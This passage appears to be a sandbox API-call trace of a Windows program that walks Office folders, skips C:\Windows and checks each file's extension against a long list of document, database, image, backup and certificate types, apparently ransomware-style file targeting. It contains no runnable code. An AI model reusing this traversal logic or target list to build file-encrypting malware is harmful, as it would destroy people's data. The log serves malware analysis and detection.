lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".max", lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".md", lpString2="VRD") returned -1 [0238.206] lstrcmpiW (lpString1=".mda", lpString2=".VRD") returned -1 [0238.206] lstrcmpiW (lpString1=".mdb", lpString2=".VRD") returned -1 [0238.206] lstrcmpiW (lpString1=".mde", lpString2=".VRD") returned -1 [0238.207] lstrcmpiW (lpString1=".mdf", lpString2=".VRD") returned -1 [0238.207] lstrcmpiW (lpString1=".mdw", lpString2=".VRD") returned -1 [0238.207] lstrcmpiW (lpString1=".mef", lpString2=".VRD") returned -1 [0238.207] lstrcmpiW (lpString1=".mft", lpString2=".VRD") returned -1 [0238.207] lstrcmpiW (lpString1=".mfw", lpString2=".VRD") returned -1 [0238.207] lstrcmpiW (lpString1=".mht", lpString2=".VRD") returned -1 [0238.207] lstrcmpiW (lpString1=".mhtml", lpString2="HD.VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mka", lpString2=".VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mkidx", lpString2="HD.VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mkv", lpString2=".VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mos", lpString2=".VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mov", lpString2=".VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mp3", lpString2=".VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mp4", lpString2=".VRD") returned -1 [0238.208] lstrcmpiW (lpString1=".mpeg", lpString2="D.VRD") returned -1 [0238.209] lstrcmpiW (lpString1=".mpg", lpString2=".VRD") returned -1 [0238.209] lstrcmpiW (lpString1=".mpv", lpString2=".VRD") returned -1 [0238.209] lstrcmpiW (lpString1=".mrw", lpString2=".VRD") returned -1 [0238.209] lstrcmpiW (lpString1=".msg", lpString2=".VRD") returned -1 [0238.209] lstrcmpiW (lpString1=".mxl", lpString2=".VRD") returned -1 [0238.209] lstrcmpiW (lpString1=".myd", lpString2=".VRD") returned -1 [0238.209] lstrcmpiW (lpString1=".myi", lpString2=".VRD") returned -1 [0238.210] lstrcmpiW (lpString1=".nef", lpString2=".VRD") returned -1 [0238.210] lstrcmpiW (lpString1=".nrw", lpString2=".VRD") returned -1 [0238.210] lstrcmpiW (lpString1=".obj", lpString2=".VRD") returned -1 [0238.210] lstrcmpiW (lpString1=".odb", lpString2=".VRD") returned -1 [0238.210] lstrcmpiW (lpString1=".odc", lpString2=".VRD") returned -1 [0238.210] lstrcmpiW (lpString1=".odm", lpString2=".VRD") returned -1 [0238.210] lstrcmpiW (lpString1=".odp", lpString2=".VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".ods", lpString2=".VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".oft", lpString2=".VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".one", lpString2=".VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".onepkg", lpString2="CHD.VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".onetoc2", lpString2="SCHD.VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".opt", lpString2=".VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".oqy", lpString2=".VRD") returned -1 [0238.211] lstrcmpiW (lpString1=".orf", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".p12", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".p7b", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".p7c", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".pam", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".pbm", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".pct", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".pcx", lpString2=".VRD") returned -1 [0238.212] lstrcmpiW (lpString1=".pdd", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pdp", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pef", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pem", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pff", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pfm", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pfx", lpString2=".VRD") returned -1 [0238.213] lstrcmpiW (lpString1=".pgm", lpString2=".VRD") returned -1 [0238.214] lstrcmpiW (lpString1=".php", lpString2=".VRD") returned -1 [0238.214] lstrcmpiW (lpString1=".php3", lpString2="D.VRD") returned -1 [0238.214] lstrcmpiW (lpString1=".php4", lpString2="D.VRD") returned -1 [0238.214] lstrcmpiW (lpString1=".php5", lpString2="D.VRD") returned -1 [0238.214] lstrcmpiW (lpString1=".phtml", lpString2="HD.VRD") returned -1 [0238.214] lstrcmpiW (lpString1=".pict", lpString2="D.VRD") returned -1 [0238.214] lstrcmpiW (lpString1=".pl", lpString2="VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".pls", lpString2=".VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".pm", lpString2="VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".png", lpString2=".VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".pnm", lpString2=".VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".pot", lpString2=".VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".potm", lpString2="D.VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".potx", lpString2="D.VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".ppa", lpString2=".VRD") returned -1 [0238.215] lstrcmpiW (lpString1=".ppam", lpString2="D.VRD") returned -1 [0238.216] lstrcmpiW (lpString1=".ppm", lpString2=".VRD") returned -1 [0238.216] lstrcmpiW (lpString1=".pps", lpString2=".VRD") returned -1 [0238.216] lstrcmpiW (lpString1=".ppsm", lpString2="D.VRD") returned -1 [0238.216] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0238.216] lstrcmpiW (lpString1=".pptm", lpString2="D.VRD") returned -1 [0238.216] lstrcmpiW (lpString1=".pptx", lpString2="D.VRD") returned -1 [0238.216] lstrcmpiW (lpString1=".prn", lpString2=".VRD") returned -1 [0238.217] lstrcmpiW (lpString1=".ps", lpString2="VRD") returned -1 [0238.217] lstrcmpiW (lpString1=".psb", lpString2=".VRD") returned -1 [0238.217] lstrcmpiW (lpString1=".psd", lpString2=".VRD") returned -1 [0238.217] lstrcmpiW (lpString1=".pst", lpString2=".VRD") returned -1 [0238.217] lstrcmpiW (lpString1=".ptx", lpString2=".VRD") returned -1 [0238.217] lstrcmpiW (lpString1=".pub", lpString2=".VRD") returned -1 [0238.217] lstrcmpiW (lpString1=".pwm", lpString2=".VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".pxr", lpString2=".VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".py", lpString2="VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".qt", lpString2="VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".r3d", lpString2=".VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".raf", lpString2=".VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".raw", lpString2=".VRD") returned -1 [0238.218] lstrcmpiW (lpString1=".rdf", lpString2=".VRD") returned -1 [0238.219] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0238.653] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x42b3fa0 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned 60 [0238.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0238.654] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.654] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0238.654] lstrlenW (lpString="BG_ADOBE.GIF") returned 12 [0238.654] lstrlenW (lpString=".1cd") returned 4 [0238.655] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x436dfe8 [0238.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles") returned 72 [0238.660] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624500 [0238.816] FindNextFileW (in: hFindFile=0x624500, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.817] FindNextFileW (in: hFindFile=0x624500, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0238.817] lstrlenW (lpString="Adobe.css") returned 9 [0238.817] lstrlenW (lpString=".1cd") returned 4 [0247.861] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.864] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0247.864] lstrlenW (lpString="AlertImage_Auto.jpg") returned 19 [0247.864] lstrlenW (lpString=".1cd") returned 4 [0248.230] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.230] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0248.230] lstrlenW (lpString="computericon.jpg") returned 16 [0248.230] lstrlenW (lpString=".1cd") returned 4 [0248.619] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.620] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0248.620] lstrlenW (lpString="DiscussionToolIconImages.jpg") returned 28 [0248.620] lstrlenW (lpString=".1cd") returned 4 [0249.737] FindClose (in: hFindFile=0x624580 | out: hFindFile=0x624580) returned 1 [0249.818] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4315750 | out: hHeap=0x590000) returned 1 [0249.819] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0249.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned 81 [0249.819] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned 1 [0249.819] lstrlenW (lpString="GrooveForms") returned 11 [0249.819] lstrcmpiW (lpString1="C:\\Windows", lpString2="GrooveForms") returned -1 [0249.819] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x4315750 [0249.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned 81 [0249.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624580 [0250.571] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.571] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0250.571] lstrlenW (lpString="AddToViewArrow.jpg") returned 18 [0250.571] lstrlenW (lpString=".1cd") returned 4 [0250.571] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0250.571] lstrlenW (lpString=".3ds") returned 4 [0250.571] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0250.571] lstrlenW (lpString=".3fr") returned 4 [0250.571] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0250.571] lstrlenW (lpString=".3g2") returned 4 [0250.572] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0250.572] lstrlenW (lpString=".3gp") returned 4 [0250.572] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0250.572] lstrlenW (lpString=".7z") returned 3 [0250.572] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0250.572] lstrlenW (lpString=".accda") returned 6 [0250.572] lstrcmpiW (lpString1=".accda", lpString2="ow.jpg") returned -1 [0250.572] lstrlenW (lpString=".accdb") returned 6 [0250.572] lstrcmpiW (lpString1=".accdb", lpString2="ow.jpg") returned -1 [0250.572] lstrlenW (lpString=".accdc") returned 6 [0250.572] lstrcmpiW (lpString1=".accdc", lpString2="ow.jpg") returned -1 [0250.572] lstrlenW (lpString=".accde") returned 6 [0250.572] lstrcmpiW (lpString1=".accde", lpString2="ow.jpg") returned -1 [0250.573] lstrlenW (lpString=".accdt") returned 6 [0250.573] lstrcmpiW (lpString1=".accdt", lpString2="ow.jpg") returned -1 [0250.573] lstrlenW (lpString=".accdw") returned 6 [0250.573] lstrcmpiW (lpString1=".accdw", lpString2="ow.jpg") returned -1 [0250.573] lstrlenW (lpString=".adb") returned 4 [0250.573] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0250.573] lstrlenW (lpString=".adp") returned 4 [0250.573] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0250.573] lstrlenW (lpString=".ai") returned 3 [0250.573] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0250.573] lstrlenW (lpString=".ai3") returned 4 [0250.573] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0250.573] lstrlenW (lpString=".ai4") returned 4 [0250.574] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0250.574] lstrlenW (lpString=".ai5") returned 4 [0250.574] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0250.574] lstrlenW (lpString=".ai6") returned 4 [0250.574] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0250.574] lstrlenW (lpString=".ai7") returned 4 [0250.574] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0250.574] lstrlenW (lpString=".ai8") returned 4 [0250.574] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0250.574] lstrlenW (lpString=".anim") returned 5 [0250.574] lstrcmpiW (lpString1=".anim", lpString2="w.jpg") returned -1 [0250.574] lstrlenW (lpString=".arw") returned 4 [0250.574] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0250.574] lstrlenW (lpString=".as") returned 3 [0250.575] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0250.575] lstrlenW (lpString=".asa") returned 4 [0250.575] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0250.575] lstrlenW (lpString=".asc") returned 4 [0250.575] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0250.575] lstrlenW (lpString=".ascx") returned 5 [0250.575] lstrcmpiW (lpString1=".ascx", lpString2="w.jpg") returned -1 [0250.575] lstrlenW (lpString=".asm") returned 4 [0250.575] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0250.575] lstrlenW (lpString=".asmx") returned 5 [0250.575] lstrcmpiW (lpString1=".asmx", lpString2="w.jpg") returned -1 [0250.575] lstrlenW (lpString=".asp") returned 4 [0250.575] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0250.575] lstrlenW (lpString=".aspx") returned 5 [0250.576] lstrcmpiW (lpString1=".aspx", lpString2="w.jpg") returned -1 [0250.576] lstrlenW (lpString=".asr") returned 4 [0250.576] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0250.576] lstrlenW (lpString=".asx") returned 4 [0250.576] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0250.576] lstrlenW (lpString=".avi") returned 4 [0250.576] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0250.576] lstrlenW (lpString=".avs") returned 4 [0250.576] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0250.576] lstrlenW (lpString=".backup") returned 7 [0250.576] lstrcmpiW (lpString1=".backup", lpString2="row.jpg") returned -1 [0250.576] lstrlenW (lpString=".bak") returned 4 [0250.576] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0250.577] lstrlenW (lpString=".bay") returned 4 [0250.577] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0250.577] lstrlenW (lpString=".bd") returned 3 [0250.577] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0250.577] lstrlenW (lpString=".bin") returned 4 [0250.577] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0250.578] lstrlenW (lpString=".bmp") returned 4 [0250.578] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0250.578] lstrlenW (lpString=".bz2") returned 4 [0250.578] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0250.578] lstrlenW (lpString=".c") returned 2 [0250.578] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0250.578] lstrlenW (lpString=".cdr") returned 4 [0250.578] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0250.578] lstrlenW (lpString=".cer") returned 4 [0250.578] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0250.578] lstrlenW (lpString=".cf") returned 3 [0250.578] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0250.578] lstrlenW (lpString=".cfc") returned 4 [0250.578] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0250.578] lstrlenW (lpString=".cfm") returned 4 [0250.579] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0250.579] lstrlenW (lpString=".cfml") returned 5 [0250.579] lstrcmpiW (lpString1=".cfml", lpString2="w.jpg") returned -1 [0250.579] lstrlenW (lpString=".cfu") returned 4 [0250.579] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0250.579] lstrlenW (lpString=".chm") returned 4 [0250.579] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0250.579] lstrlenW (lpString=".cin") returned 4 [0250.579] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0250.579] lstrlenW (lpString=".class") returned 6 [0250.579] lstrcmpiW (lpString1=".class", lpString2="ow.jpg") returned -1 [0250.579] lstrlenW (lpString=".clx") returned 4 [0250.579] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0250.579] lstrlenW (lpString=".config") returned 7 [0250.580] lstrcmpiW (lpString1=".config", lpString2="row.jpg") returned -1 [0250.580] lstrlenW (lpString=".cpp") returned 4 [0250.580] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0250.580] lstrlenW (lpString=".cr2") returned 4 [0250.580] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0250.580] lstrlenW (lpString=".crt") returned 4 [0250.580] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0250.580] lstrlenW (lpString=".crw") returned 4 [0250.580] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0250.580] lstrlenW (lpString=".cs") returned 3 [0250.580] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0250.580] lstrlenW (lpString=".css") returned 4 [0250.580] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0250.581] lstrlenW (lpString=".csv") returned 4 [0250.581] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0250.581] lstrlenW (lpString=".cub") returned 4 [0250.581] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0250.581] lstrlenW (lpString=".dae") returned 4 [0250.581] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0250.581] lstrlenW (lpString=".dat") returned 4 [0250.581] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0250.581] lstrlenW (lpString=".db") returned 3 [0250.581] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0250.581] lstrlenW (lpString=".dbf") returned 4 [0250.581] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0250.581] lstrlenW (lpString=".dbx") returned 4 [0250.582] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0250.582] lstrlenW (lpString=".dc3") returned 4 [0250.582] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0250.582] lstrlenW (lpString=".dcm") returned 4 [0250.582] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0250.582] lstrlenW (lpString=".dcr") returned 4 [0250.582] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 